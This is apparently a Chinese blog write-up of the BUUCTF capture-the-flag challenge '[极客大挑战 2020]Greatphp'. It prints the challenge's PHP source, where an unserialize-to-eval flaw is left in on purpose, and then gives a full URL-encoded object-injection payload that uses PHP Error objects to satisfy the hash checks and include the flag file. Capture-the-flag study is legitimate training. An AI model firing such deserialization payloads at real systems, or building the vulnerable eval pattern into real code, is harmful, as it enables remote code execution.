97,【5】buuctf web [极客大挑战 2020]Greatphp

发布于:2025-02-10 ⋅ 阅读:(56) ⋅ 点赞:(0)

进入靶场

审代码

<?php
// 关闭所有 PHP 错误报告,防止错误信息泄露可能的安全隐患
error_reporting(0);

// 定义一个名为 SYCLOVER 的类
class SYCLOVER {
    // 定义类的公共属性 $syc
    public $syc;
    // 定义类的公共属性 $lover
    public $lover;

    // 定义魔术方法 __wakeup,当对象被反序列化时会自动调用该方法
    public function __wakeup(){
        // 检查 $syc 和 $lover 的值不相等,但它们的 MD5 哈希值和 SHA1 哈希值都相等
        // 利用了哈希算法碰撞的特性,在某些特殊输入下不同值可能产生相同的哈希结果
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc) === sha1($this->lover)) ){
            // 使用正则表达式检查 $syc 中是否包含 <?php、(、)、" 或 ' 这些字符
            if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
                // 如果 $syc 中不包含上述危险字符,则将 $syc 作为 PHP 代码进行执行
                eval($this->syc);
            } else {
                // 如果 $syc 中包含危险字符,终止程序并输出提示信息
                die("Try Hard !!");
            }
        }
    }
}

// 检查是否通过 GET 请求传递了名为 'great' 的参数
if (isset($_GET['great'])){
    // 如果存在 'great' 参数,对其进行反序列化操作
    // 反序列化过程中会触发 SYCLOVER 类的 __wakeup 方法
    unserialize($_GET['great']);
} else {
    // 如果不存在 'great' 参数,高亮显示当前 PHP 文件的源代码
    highlight_file(__FILE__);
}

?>

总结:通过 GET 请求传递名为 'great' 的参数,并对 'great' 参数进行序列化操作 

 $syc 和 $lover 的值不相等,但它们的 MD5 哈希值和 SHA1 哈希值都相等

正则表达式检查 $syc 

payload:

/?great=O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D

 

 


网站公告

今日签到

点亮在社区的每一天
去签到